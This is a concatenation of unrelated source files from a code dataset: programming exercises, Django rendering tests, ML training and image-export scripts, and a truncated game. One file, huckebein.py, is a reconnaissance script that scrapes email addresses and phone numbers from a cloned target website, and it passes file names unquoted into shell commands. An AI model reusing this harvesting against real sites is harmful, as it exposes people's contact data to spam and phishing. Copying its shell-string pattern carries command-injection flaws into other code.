が与えられたのち、いくつかのイベントを表す文字列が与えられるので、与えられた順に各イベントに応じて次のような処理をおこなってください。\n\n# ・join num id\n# 生徒番号 num , 識別ID id の生徒を新たに覚える\n\n# ・leave num\n# 生徒番号 num の生徒を忘れる\n\n# ・call num\n# 生徒番号 num の生徒の識別 ID を出力する\n\n\n\nn, k = list(map(int,input().split()))\n\ndic = {}\nfor _ in range(n):\n num, i = input().split()\n dic[num] = i\n\nfor _ in range(k):\n inputs = input()\n if \"call\" in inputs:\n key = inputs.split()[1]\n print(dic[key])\n elif \"join\" in inputs:\n temp, key , new_i = inputs.split()\n dic[key] = new_i\n elif \"leave\" in inputs:\n key = inputs.split()[1]\n del dic[key]","repo_name":"kanp7/paiza","sub_path":"Python/Query/SortingAndSearching/step7.py","file_name":"step7.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32016311933","text":"import json\n\nfrom django.conf import global_settings\nfrom django.template import Context, Template\nfrom django.test import TestCase, modify_settings, override_settings\nimport responses\n\nfrom tests.models import Person, MovieWithContext\n\n\n@modify_settings(INSTALLED_APPS={'append': 'django_react_templatetags'})\n@override_settings(\n MIDDLEWARE=global_settings.MIDDLEWARE,\n TEMPLATES=[{\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'debug': True,\n 'context_processors': [\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.core.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.request',\n\n # Project specific\n 'django_react_templatetags.context_processors.react_context_processor', # NOQA\n ],\n },\n }],\n SITE_ID=1,\n REACT_RENDER_HOST='http://react-service.dev/'\n)\nclass SSRTest(TestCase):\n def setUp(self):\n self.mocked_context = Context({'REACT_COMPONENTS': []})\n\n @responses.activate\n def test_verify_404(self):\n \"The SSR rendering falls back to client side rendering if 404\"\n responses.add(responses.POST, 'http://react-service.dev/',\n json={'error': 'not found'}, status=404)\n\n out = Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" %}\"\n ).render(self.mocked_context)\n\n self.assertTrue('<div id=\"Component_' in out)\n\n @responses.activate\n def test_verify_rendition(self):\n \"The SSR returns inner html\"\n responses.add(responses.POST, 'http://react-service.dev',\n body='<h1>Title</h1>', status=200)\n\n out = Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" %}\"\n ).render(self.mocked_context)\n\n self.assertTrue('<h1>Title</h1>' in out)\n\n @responses.activate\n def test_request_body(self):\n \"The SSR request sends the props in a expected way\"\n\n responses.add(responses.POST, 'http://react-service.dev',\n body='<h1>Title</h1>', status=200)\n\n person = Person(first_name='Tom', last_name='Waits')\n\n self.mocked_context[\"person\"] = person\n self.mocked_context[\"component_data\"] = {'album': 'Real gone'}\n\n Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" prop_person=person data=component_data %}\" # NOQA\n ).render(self.mocked_context)\n\n request_body = {\n 'componentName': 'Component',\n 'props': {\n 'album': 'Real gone',\n 'person': {\n 'first_name': 'Tom',\n 'last_name': 'Waits'\n }\n }\n }\n\n self.assertTrue(\n json.loads(responses.calls[0].request.body) == request_body\n )\n\n @responses.activate\n def test_request_body_context(self):\n \"The SSR request sends the props in a expected way with context\"\n\n responses.add(responses.POST, 'http://react-service.dev',\n body='<h1>Title</h1>', status=200)\n\n movie = MovieWithContext(title='Office space', year=1991)\n\n self.mocked_context[\"movie\"] = movie\n self.mocked_context[\"search_term\"] = 'Stapler'\n\n Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" prop_movie=movie %}\"\n ).render(self.mocked_context)\n\n request_body = {\n 'componentName': 'Component',\n 'props': {\n 'movie': {\n 'title': 'Office space',\n 'year': 1991,\n 'search_term': 'Stapler',\n }\n }\n }\n\n self.assertTrue(\n json.loads(responses.calls[0].request.body) == request_body\n )\n\n @responses.activate\n def test_default_headers(self):\n \"The SSR uses default headers with json as conten type\"\n responses.add(responses.POST, 'http://react-service.dev',\n body='Foo Bar', status=200)\n\n Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" %}\"\n ).render(self.mocked_context)\n\n self.assertTrue(len(responses.calls) == 1)\n self.assertEquals(\n responses.calls[0].request.headers['Content-type'],\n 'application/json'\n )\n self.assertEquals(\n responses.calls[0].request.headers['Accept'],\n 'text/plain'\n )\n\n @override_settings(\n REACT_RENDER_HEADERS={\n 'Authorization': 'Basic 123'\n }\n )\n @responses.activate\n def test_custom_headers(self):\n \"The SSR uses custom headers if present\"\n responses.add(responses.POST, 'http://react-service.dev',\n body='Foo Bar', status=200)\n\n Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" %}\"\n ).render(self.mocked_context)\n\n self.assertTrue(len(responses.calls) == 1)\n self.assertEquals(\n responses.calls[0].request.headers['Authorization'],\n 'Basic 123'\n )\n\n @responses.activate\n def test_hydrate_if_ssr_present(self):\n \"Makes sure ReactDOM.hydrate is used when SSR is active\"\n responses.add(responses.POST, 'http://react-service.dev',\n body='Foo Bar', status=200)\n\n out = Template(\n \"{% load react %}\"\n \"{% react_render component=\\\"Component\\\" %}\"\n \"{% react_print %}\"\n ).render(self.mocked_context)\n\n self.assertTrue('ReactDOM.hydrate(' in out)\n","repo_name":"perryyo/django-react-templatetags","sub_path":"tests/test_ssr.py","file_name":"test_ssr.py","file_ext":"py","file_size_in_byte":6123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"40613745612","text":"import asab\nfrom enum import Enum\nimport logging\n\n###\n\nL = logging.getLogger(__name__)\n\n\n###\n\n\nclass PVApiService(asab.Service):\n\n\tclass StatusCode(Enum):\n\t\tREQUEST_OK = \"request_ok\"\n\t\tBAD_REQUEST = \"request_err_0002\"\n\n\tclass ErrorMessage(Enum):\n\t\tBAD_REQUEST = \"BAD REQUEST\"\n\n\tdef __init__(self, app):\n\t\tsuper().__init__(app, \"pv.PVApiService\")\n\n\t\tself.pv_svc = app.get_service(\"pv.AlgorithmService\")\n\n\tasync def calculate_and_wait(self, request_json):\n\n\t\tlabel, det_status = await self.pv_svc.validate_mbbox(\n\t\t\trequest_json[\"frame_id\"],\n\t\t\trequest_json[\"total_pih_candidates\"],\n\t\t\trequest_json[\"period_pih_candidates\"],\n\t\t)\n\n\t\tresp_data = {\n\t\t\t\"label\": label,\n\t\t\t\"det_status\": det_status\n\t\t}\n\n\t\treturn 200, self.StatusCode.REQUEST_OK.value, resp_data\n","repo_name":"ardihikaru/eagleeye","sub_path":"pih-persistance-validation-service/pv/pv_api/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5709873880","text":"#!/usr/bin/python3\n\nimport os\nimport subprocess\nimport sys\nfrom bs4 import BeautifulSoup as bs4\nimport datetime\nimport re\n\nclass bcolors:\n\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n RED = '\\033[31m'\n YELLOW = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n WHITE = '\\033[37m'\n\nbanner = \"\"\"\n /T /I\n / |/ | .-~/ /\n T\\ Y I |/ / _\n /T | \\I | I Y.-~/\n I l /I T\\ | | l | T /\n __ | \\l \\l \\I l __l l \\ ` _. |\n \\ ~-l `\\ `\\ \\ \\\\ ~\\ \\ `. .-~ |\n \\ ~-. \"-. ` \\ ^._ ^. \"-. / \\ |\n.--~-._ ~- ` _ ~-_.-\"-.\" ._ /._ .\" ./\n >--. ~-. ._ ~>-\" \"\\\\ 7 7 ]\n^.___~\"--._ ~-{ .-~ . `\\ Y . / |\n <__ ~\"-. ~ /_/ \\ \\I Y : |\n ^-.__ ~(_/ \\ >._: | l______\n ^--.,___.-~\" /_/ ! `-.~\"--l_ / ~\"-.\n (_/ . ~( /' \"~\"--,Y -=b-. _)\n (_/ . \\ : / l c\"~o \\\\\n \\ / `. . .^ \\_.-~\"~--. )\n (_/ . ` / / ! )/\n / / _. '. .': / '\n ~(_/ . / _ ` .-<_\n /_/ . ' .-~\" `. / \\ \\ ,z=.\n ~( / ' : | K \"-.~-.______//\n \"-,. l I/ \\_ __{--->._(==.\n //( \\ < ~\"~\" //\n /' /\\ \\ \\ ,v=. ((\n .^. / /\\ \" }__ //===- `\n / / ' ' \"-.,__ {---(==-\n .^ ' : T ~\" ll \n / . . . : | :! \\\\\\\\\n (_/ / | | j-\" ~^ \n / // / // / / / / / / / / //// // / /\n _ _ _ _ _______ _ _ _______ ______ _______ _____ __ _ ,\n |_____| | | | |____/ |______ |_____] |______ | | \\ |\n | | |_____| |_____ | \\_ |______ |_____] |______ __|__ | \\_|/ , \n \n //..._././/..//./ .//.. .. . /// ./../../// // /../.. . /..../ ../ /.\n\"\"\"\n\ndef init():\n #current_dir = os.getcwd() \n if len(sys.argv) != 2:\n print(bcolors.RED,\"[!]Need More Argument\",bcolors.ENDC)\n usage = \"\"\"\n+------------------------------------------- - -- -- -- - - ---- - --\n| +------------------+ [+]Usage: \n| | ___ | \n| | _ (,~ | _ | {arg0} <target_directory_name(cloned)> \n| | (____/ |____) | \n| | ||||| ||||| | [+]Example:\n| | ||||| ||||| | \n| | |||||\\ /||||| | {arg0} target.com.cloned\n| | |||'//\\/\\\\\\`||| | \n| | |' m' /\\ `m `| | \n| | /||\\ | \n| \\_ _/ \n| `------------' \n+-------------------------------------------- --- -- -- ---- -- -- --\n\"\"\"\n usage = usage.replace(\"{arg0}\",sys.argv[0])\n print(bcolors.GREEN,usage,bcolors.ENDC)\n sys.exit()\n\n else:\n print(bcolors.BLUE,\"[+]CLEAR\",bcolors.ENDC)\n \n if \"directory\" in subprocess.getoutput(f\"file {sys.argv[1]}\"):\n\n signal = \"single\"\n print(bcolors.GREEN,banner,bcolors.ENDC)\n target = sys.argv[1]\n return signal,target\n \n else:\n signal = \"list\"\n print(bcolors.RED,banner,bcolors.ENDC)\n target = sys.argv[1]\n return signal,target\n\ndef into_the_arena(target):\n \n dir_path = os.getcwd()+\"/\"+target\n all_file_list = subprocess.getoutput(f\"find {dir_path} -type f 2> /dev/null\")\n all_file_list = all_file_list.rsplit(\"\\n\")\n while True:\n try:\n all_file_list.remove(\"\")\n if \"\" not in all_file_list:\n break\n except:\n break\n\n email_address_list = []\n phone_or_fax_list = []\n print(bcolors.GREEN,f\"[+]Target: {target}\",bcolors.ENDC)\n \n for i in all_file_list:\n\n f = open(i,\"r\",encoding=\"utf8\",errors=\"ignore\")\n soup = bs4(f,\"html.parser\")\n \n reg = re.search(r\"\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b\",soup.text)\n if reg != None:\n email_address_list.append(reg.group()) \n print(bcolors.BLUE,f\"{i} -->\"+bcolors.GREEN,f\"Detected email_address:{bcolors.WHITE}[{reg.group()}]\",bcolors.ENDC)\n \n else:\n print(bcolors.RED,f\"{i} --> NotDetected...\",bcolors.ENDC)\n\n reg = re.search(r\"\\b\\d{2,4}[-]\\d{2,4}[-]\\d{2,4}\",soup.text)\n if reg != None:\n phone_or_fax_list.append(reg.group())\n print(bcolors.BLUE,f\"{i} -->\"+bcolors.GREEN,f\"Detected phone_or_fax number:{bcolors.WHITE}[{reg.group()}]\",bcolors.ENDC)\n \n else:\n print(bcolors.RED,f\"{i} --> NotDetected...\",bcolors.ENDC)\n\n\n email_address_list = set(email_address_list)\n email_address_list = list(email_address_list)\n phone_or_fax_list = set(phone_or_fax_list)\n phone_or_fax_list = list(phone_or_fax_list)\n \n \n\n empty_ascii_art = \"\"\"\n _______ ___ ___ _______ ___________ ___ ___ \n /\" \"||\" \\ /\" | | __ \"\\(\" _ \")|\" \\/\" | \n(: ______) \\ \\ // | (. |__) :))__/ \\\\\\__/ \\ \\ / \n \\/ | /\\\\\\ \\/. | |: ____/ \\\\\\_ / \\\\\\ \\/ \n // ___)_ |: \\. | (| / |. | / / \n(: \"||. \\ /: | /|__/ \\ \\: | / / \n \\_______)|___|\\__/|___|(_______) \\__| |___/ \n \n \"\"\"\n if len(email_address_list) == 0 and len(phone_or_fax_list) == 0:\n print(bcolors.RED,\"[!]Not Detected, or Target has been there...\",bcolors.ENDC)\n print(bcolors.RED,f\"{empty_ascii_art}\",bcolors.ENDC)\n else:\n print(email_address_list)\n print(phone_or_fax_list)\n\n finalize_dir_name = report_manager(target)\n \n os.system(f\"touch {finalize_dir_name}_email_phone_FAX\")\n print(f\"[+]make_the_file!\")\n f = open(finalize_dir_name+\"_email_phone_FAX\",\"w\")\n \n for i in email_address_list:\n f.write(\"email : \"+i+\"\\n\")\n for i in phone_or_fax_list:\n f.write(\"number: \"+i+\"\\n\")\n\n f.close()\n\n print(bcolors.GREEN,\"[+]Report Logging Done >>\"+bcolors.BLUE,f\"{finalize_dir_name}_email_phone_FAX\",bcolors.ENDC)\n\ndef targets_to_target(target):\n \n f = open(target,\"r\")\n target_list = f.read().rsplit(\"\\n\")\n while True:\n try:\n target_list.remove(\"\")\n if \"\" not in target_list:\n break\n except:\n break\n\n return target_list\n\ndef report_manager(target):\n \n reg = re.search(r\".+/$\",target)\n if reg != None:\n target = target[:-1]\n\n dir_name = \"report_mail_and_phone_\"+str(datetime.datetime.now()).replace(\" \",\"\").replace(\":\",\"\").replace(\".\",\"\")[9:]\n os.mkdir(dir_name)\n finalize_dir_name = dir_name+\"/\"+target+\"_report\"\n #print(finalize_dir_name)\n\n return finalize_dir_name\n\ndef main():\n signal,target = init()\n \n if signal == \"single\":\n into_the_arena(target)\n \n elif signal == \"list\":\n target_list = targets_to_target(target)\n for i in target_list:\n into_the_arena(i)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"Ki11i0n4ir3/ScrapingTools","sub_path":"huckebein.py","file_name":"huckebein.py","file_ext":"py","file_size_in_byte":7533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30879832808","text":"import os\nimport argparse\nimport numpy as np\nimport cv2\nimport re\nimport glob\nfrom PIL import Image\nfrom tqdm import tqdm\nfrom mpi4py import MPI\nimport logging\nimport pkg_resources\nmpi_comm = MPI.COMM_WORLD\nmpi_rank = mpi_comm.Get_rank()\nmpi_size = mpi_comm.Get_size()\n\ndef split_aligntxt(align_txt, output_dir):\n with open(align_txt, 'r') as f:\n lines = f.readlines()\n get_key = lambda x: int(re.search(r'S_(\\d+)_', x).group(1))\n key_line_dict = {get_key(l):l for l in lines}\n \n key_set = np.asarray(list(key_line_dict.keys()))\n key_sublists = np.array_split(key_set, mpi_size)\n\n for i, keys in enumerate(key_sublists):\n with open(os.path.join(output_dir, 'align_%d.txt' % i), 'w') as f:\n for key in keys:\n f.writelines(key_line_dict[key])\ndef get_keys(align_txt):\n with open(align_txt, 'r') as f:\n lines = f.readlines()\n get_key = lambda x: int(re.search(r'S_(\\d+).*', x).group(1))\n keys = np.asarray([get_key(l) for l in lines])\n keys.sort()\n key_sublists = np.array_split(keys, mpi_size)\n return key_sublists\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('output', default=None, type=str, help='A directory containing a project.xml file')\n parser.add_argument('--input', default=None, type=str)\n parser.add_argument('--range', default=None, type=str)\n parser.add_argument('--bbox', default='0,0,0,0', type=str)\n parser.add_argument('--heap_size', default=6, type=int)\n parser.add_argument('--fiji', default='fiji', type=str, help='specify ImageJ-linux64 executable path')\n args = parser.parse_args()\n\n # align stage\n\n\n # export stage\n if mpi_rank == 0:\n os.makedirs(args.output, exist_ok=True)\n resource_path = 'ext/export.bsh'\n bsh_path = pkg_resources.resource_filename(__name__, resource_path)\n logging.warning('macro: %s', bsh_path)\n # tmp_dir = os.path.join(args.output, 'tmp')\n # split_aligntxt(args.input, tmp_dir)\n if not args.range and args.input:\n key_sublist = get_keys(args.input)\n else:\n sub_range = [int(i) for i in args.range.split(',')]\n keys = np.asarray(range(sub_range[0], sub_range[1]))\n key_sublist = np.array_split(keys, mpi_size)\n\n if args.input:\n begin = get_keys(args.input)[0][0]\n else:\n begin = 0\n\n # if args.bbox:\n # bbox = [int(i) for i in args.bbox.split(',')]\n else:\n key_sublist = None\n bsh_path = None\n begin = None\n bsh_path = mpi_comm.bcast(bsh_path, 0)\n key_sublist = mpi_comm.scatter(key_sublist, 0)\n begin = mpi_comm.bcast(begin, 0)\n\n print(key_sublist)\n #rank_input = os.path.join(args.output, 'align_%d.txt' % mpi_rank)\n # command = '%s -Xms%dg -Xmx%dg --headless -Dinput=%s -Doutput=%s -Drange=%s -Dbegin=%d -Dbbox=%s -- --no-splash %s' % (\n # args.fiji, args.heap_size, args.heap_size, args.input, args.output, '%d,%d' % (key_sublist[0], key_sublist[-1]), begin, args.bbox,\n # bsh_path)\n # print(command)\n # os.system(command)\n for i in range(len(key_sublist) - 1):\n command = '%s -Xms%dg -Xmx%dg --headless -Dinput=%s -Doutput=%s -Drange=%s -Dbegin=%d -Dbbox=%s -- --no-splash %s' % (\n args.fiji, args.heap_size, args.heap_size, args.input, args.output, '%d,%d' % (key_sublist[i], key_sublist[i + 1]), begin, args.bbox,\n bsh_path)\n os.system(command)\n\n \n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Hanyu-Li/klab_utils","sub_path":"klab_utils/trakem2/mpi_export.py","file_name":"mpi_export.py","file_ext":"py","file_size_in_byte":3323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71582519283","text":"\"\"\"\nTraining script to train Neural Flow Deformer.\n\ninspired by ShapeFlow (Chiyu Max Jiang.\nhttps://github.com/maxjiang93/ShapeFlow).\n\"\"\"\nimport argparse\nimport os\nimport glob\nimport numpy as np\nimport torch\nimport torch.optim as optim\nimport torch.nn as nn\n\nimport utils.utility_functions as utils\nimport utils.dataloader as dl\n\nfrom utils.dataloader import DATA\nfrom deformer.definitions import LOSSES, OPTIMIZERS, SOLVERS\nfrom deformer.metrics import ChamferDistKDTree, SurfaceDistance\nfrom utils.engine import evaluate_meshes, train, test\nfrom utils.training_utilities import get_deformer, initialize_environment, increase_level, save_latents\n\n\ndef get_args():\n \"\"\"Parse command line arguments.\n \"\"\"\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"--batch_size\",\n type=int,\n default=16,\n metavar=\"N\",\n help=\"input batch size for training (default: 16)\",\n )\n parser.add_argument(\n \"--increase_layer\",\n type=int,\n default=None,\n help=\"Add layer of detail every x epochs\",\n )\n parser.add_argument(\n \"--epsilon\",\n type=float,\n default=0.1,\n help=\"RBF epsilon\",\n )\n parser.add_argument(\n \"--fourier\",\n type=float,\n default=None,\n help=\"Scale of fourier features, default is None.\",\n )\n parser.add_argument(\n \"--epochs\",\n type=int,\n default=100,\n metavar=\"N\",\n help=\"number of epochs to train (default: 100)\",\n )\n parser.add_argument(\n \"--lr\",\n type=float,\n default=1e-3,\n metavar=\"R\",\n help=\"learning rate (default: 0.001)\",\n )\n parser.add_argument(\n \"--no_cuda\",\n action=\"store_true\",\n default=False,\n help=\"disables CUDA training\",\n )\n parser.add_argument(\n \"--lod\",\n type=int,\n nargs='+',\n default=None,\n help=\"Dimensions of the level of detail for the embeddings. (defaul: None)\",\n )\n parser.add_argument(\n \"--seed\",\n type=int,\n default=1,\n metavar=\"S\",\n help=\"random seed (default: 1)\",\n )\n parser.add_argument(\n \"--data_root\",\n type=str,\n help=\"path to mesh folder root\",\n )\n parser.add_argument(\n \"--solver\",\n type=str,\n choices=SOLVERS,\n default=\"dopri5\",\n help=\"ode solver. (default: dopri5)\",\n )\n parser.add_argument(\n \"--atol\",\n type=float,\n default=1e-5,\n help=\"absolute error tolerence in ode solver. (default: 1e-5)\",\n )\n parser.add_argument(\n \"--rtol\",\n type=float,\n default=1e-5,\n help=\"relative error tolerence in ode solver. (default: 1e-5)\",\n )\n parser.add_argument(\n \"--log_dir\", type=str, required=True, help=\"log directory for run\"\n )\n parser.add_argument(\n \"--nonlin\", type=str, default=\"elu\", help=\"type of nonlinearity to use\"\n )\n parser.add_argument(\n \"--optim\", type=str, default=\"adam\", choices=list(OPTIMIZERS.keys()), help=\"type of optimizer to use\"\n )\n parser.add_argument(\n \"--loss_type\", type=str, default=\"l2\", choices=list(LOSSES.keys()),\n help=\"type of loss to use\"\n )\n parser.add_argument(\n \"--data\", type=str, default=\"femur\", choices=list(DATA.keys()),\n help=\"type of data\"\n )\n parser.add_argument(\n \"--resume\",\n type=str,\n default=None,\n help=\"path to checkpoint if resume is needed\",\n )\n parser.add_argument(\n \"--lat_dims\", default=32, type=int, help=\"number of latent dimensions.\"\n )\n parser.add_argument(\n \"--deformer_nf\",\n default=100,\n type=int,\n help=\"number of base number of feature layers in deformer (imnet).\",\n )\n parser.add_argument(\n \"--lr_scheduler\", dest=\"lr_scheduler\", action=\"store_true\", default=False\n )\n parser.add_argument(\n '--irregular_grid', action='store_true', default=False\n )\n parser.add_argument(\n '--independent_epsilon', action='store_true', default=False\n )\n parser.add_argument(\n \"--adjoint\",\n dest=\"adjoint\",\n action=\"store_true\",\n help=\"use adjoint solver to propagate gradients thru odeint.\",\n )\n parser.add_argument(\n \"--no_adjoint\",\n dest=\"adjoint\",\n action=\"store_false\",\n help=\"not use adjoint solver to propagate gradients thru odeint.\",\n )\n parser.add_argument(\n \"--sample_surface\",\n action=\"store_true\",\n default=False,\n help=\"Sample surface points.\",\n )\n parser.add_argument(\n \"--global_extent\",\n action=\"store_true\",\n default=False,\n help=\"Rescale data globally vs. per instance.\",\n )\n parser.add_argument(\n '--rbf', default=False, action='store_true'\n )\n parser.add_argument(\n '--stationary', default=False, action='store_true'\n )\n parser.add_argument(\n '--grid_vector_field', default=False, action='store_true'\n )\n parser.set_defaults(lr_scheduler=True)\n parser.set_defaults(adjoint=True)\n parser.set_defaults(vis_mesh=True)\n args = parser.parse_args()\n return args\n\n\ndef main():\n # Get arguments\n args = get_args()\n args, kwargs, device, logger = initialize_environment(args)\n\n # Log and create snapshots.\n filenames_to_snapshot = (\n glob.glob(\"*.py\") + glob.glob(\"*.sh\") +\n glob.glob(\"deformer/*.py\")\n )\n utils.snapshot_files(filenames_to_snapshot, args.log_dir)\n\n # Get data\n train_mesh, train_points, val_mesh, val_points, _, _ = dl.build(\n args, kwargs, logger)\n\n # Get model\n deformer = get_deformer(args, train_mesh, train_mesh.sampler.n_samples)\n\n # Set optimizer\n all_model_params = list(deformer.parameters())\n optimizer = OPTIMIZERS[args.optim](all_model_params, lr=args.lr)\n\n # Initialize losses\n chamfer_dist = ChamferDistKDTree(reduction=\"mean\", njobs=1)\n chamfer_dist.to(device)\n distance_loss = chamfer_dist\n\n # Set variables for training\n start_ep = 0\n global_step = np.zeros(1, dtype=np.uint32)\n tracked_stats = np.inf\n\n # Resume training\n if args.resume:\n logger.info(\n \"Loading checkpoint {} ================>\".format(args.resume)\n )\n resume_dict = torch.load(args.resume)\n start_ep = resume_dict[\"epoch\"]\n global_step = resume_dict[\"global_step\"]\n tracked_stats = resume_dict[\"tracked_stats\"]\n deformer.load_state_dict(resume_dict[\"deformer_state_dict\"])\n logger.info(\"[!] Successfully loaded checkpoint.\")\n\n deformer = nn.DataParallel(deformer)\n deformer.to(device)\n deformer.float()\n\n # Log model description\n logger.info(deformer.module)\n logger.info(deformer)\n\n checkpoint_path = os.path.join(args.log_dir, \"checkpoint_latest_\")\n\n if args.lr_scheduler:\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, \"min\")\n unfrozen = len(args.lod)\n\n # Training loop\n for epoch in range(start_ep + 1, args.epochs + 1):\n # Add level of detail to model if applicable\n deformer, scheduler, optimizer, unfrozen, = increase_level(\n args, epoch, logger, deformer, unfrozen, optimizer, scheduler)\n\n loss_eval = train(args,\n deformer,\n distance_loss,\n train_points,\n epoch,\n device,\n logger,\n optimizer\n )\n\n if args.lr_scheduler:\n scheduler.step(loss_eval)\n\n # Save checkpoints\n if loss_eval < tracked_stats:\n tracked_stats = loss_eval\n is_best = True\n save_latents(deformer, train_points, args)\n else:\n is_best = False\n utils.save_checkpoint(\n {\n \"epoch\": epoch,\n \"deformer_state_dict\": deformer.module.state_dict(),\n \"optim_state_dict\": optimizer.state_dict(),\n \"tracked_stats\": tracked_stats,\n \"global_step\": global_step,\n },\n is_best,\n epoch,\n checkpoint_path,\n \"deformer\",\n logger,\n )\n\n # Run generality and specificity on validation data\n test(deformer=deformer,\n device=device,\n test_data=(val_mesh, val_points),\n args=args,\n logger=logger,\n train_data=train_mesh,\n active_lod=len(args.lod) - (unfrozen - 1),\n epoch=300\n )\n\n # Evaluate embedding quality of training shapes with surface distance\n chamfer_distance_metric = SurfaceDistance()\n distance_metrics = {\"chamfer\": chamfer_distance_metric}\n out_dir = os.path.join(args.log_dir, f\"train_meshes\")\n os.makedirs(out_dir, exist_ok=True)\n _ = evaluate_meshes(deformer,\n distance_metrics,\n train_mesh,\n device,\n LOSSES[args.loss_type],\n logger,\n out_dir)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"davecasp/flowssm","sub_path":"scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9249,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"75"} +{"seq_id":"18799058803","text":"import sys\nimport math\n\nn = int(input())\na = list(map(int, input().split()))\nmaxHN = -1\nfor x in a:\n countD, savex = 0, x\n sumF, sumS = 0, 0\n while x > 0:\n if countD < 3: \n sumF += x % 10\n countD += 1\n else: \n sumS += x % 10\n x //= 10\n if sumF == sumS and countD == 3 and savex > maxHN: maxHN = savex\nprint(maxHN)\n","repo_name":"DankDaPancake/SouthPeach","sub_path":"Array/37.py","file_name":"37.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2803140735","text":"import json\nfrom src.ui.rsa_config_ui import RSAConfigUI\nimport os\n\n\nclass RSAConfig(object):\n def __init__(self, config_directory):\n self.my_rsa = {}\n self.friends_rsa = {}\n self._config_directory = config_directory\n self._my_rsa_file = config_directory + \"/MyRSA.txt\"\n self._friend_rsa_file = config_directory + \"/FriendsRSA.txt\"\n self.read_my_rsa()\n\n def read_my_rsa(self):\n try:\n with open(self._my_rsa_file, \"r\") as reader:\n self.my_rsa = json.loads(reader.read())\n reader.close()\n except FileNotFoundError:\n os.makedirs(self._config_directory)\n public_key, private_key = RSAConfigUI.get_rsa_config_data()\n self._write_my_rsa(public_key, private_key)\n\n def _write_my_rsa(self, my_rsa_public_key_path=None, my_rsa_private_key_path=None):\n self.my_rsa = {\"public key\": my_rsa_public_key_path, \"private key\": my_rsa_private_key_path}\n\n with open(self._my_rsa_file, \"w\") as writer:\n writer.write(json.dumps(self.my_rsa))\n writer.close()\n\n def read_friends_rsa(self):\n try:\n with open(self._friend_rsa_file, \"r\") as reader:\n self.friends_rsa = json.loads(reader.read())\n reader.close()\n except FileNotFoundError:\n pass\n\n def add_to_friends_rsa(self, friend_email, friend_rsa_path):\n self.read_friends_rsa()\n self.friends_rsa[friend_email] = friend_rsa_path\n with open(self._friend_rsa_file, \"w\") as writer:\n writer.write(json.dumps(self.friends_rsa))\n writer.close()\n","repo_name":"tlind15/TrustIssuesChat","sub_path":"src/configuration/rsa_config.py","file_name":"rsa_config.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28900966593","text":"def printUnsorted(arr,n):\n for i in range (0,n):\n s=i\n if(arr[i+1]<arr[i]):\n break\n for j in range(n-1,-1,-1):\n e=j\n if(arr[j-1]>arr[j]):\n break\n \n mini=arr[s]\n maxi=arr[s]\n for i in range(s,e+1):\n if(arr[i]<mini):\n mini=arr[i]\n if(arr[i]>maxi):\n maxi=arr[i]\n for i in range(s):\n if arr[i]>mini:\n s=i\n break\n for i in range (n-1,e,-1):\n if (arr[i]<maxi):\n e=i\n break\n print (\"The unsorted subarray which makes the given array\")\n print (\"sorted lies between the indexes %d and %d\"%( s, e))\narr = [10, 12, 20, 30, 25, 40, 32, 31, 35, 50, 60]\narr_size = len(arr)\nprintUnsorted(arr, arr_size)\n","repo_name":"jenny456/cpsolutions","sub_path":"minLengthofUnsortedSubArray.py","file_name":"minLengthofUnsortedSubArray.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40090511023","text":"# Day26 Snake Water Gun Game:)))\n\nimport random\nimport pyttsx3\nengine = pyttsx3.init('sapi5')\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', voices[1].id)\n\ndef speak(audio):\n engine.say(audio)\n engine.runAndWait()\n\n\n\ndef s_w_g_gme():\n \"\"\"\n This function is for Snake Water Gun Game\n \"\"\"\n print(\"\\n\\t\\t\\t\\tWelcome to Water Gun Game:)))))\\n\")\n speak(\"Welcome to Snake Water Gun Game:))\")\n\n to_po_of_gme = ['S','W','G']\n speak(\"Press S for Snake, G for gun, W for water\")\n print(\"\\nPress---->\\nS - Snake\\nW - Water\\nG - Gun\\n\")\n speak(\"Enter here\")\n speak(\"You have only,10 chances, to be a winner\")\n i = 0\n usr_scs = 0\n com_scs = 0\n gme_ovr = 0\n usr_un_key = 0\n while i < 10:\n \n com_inpt = random.choice(to_po_of_gme)\n usr_inpt = input(\"Enter here: \")\n if 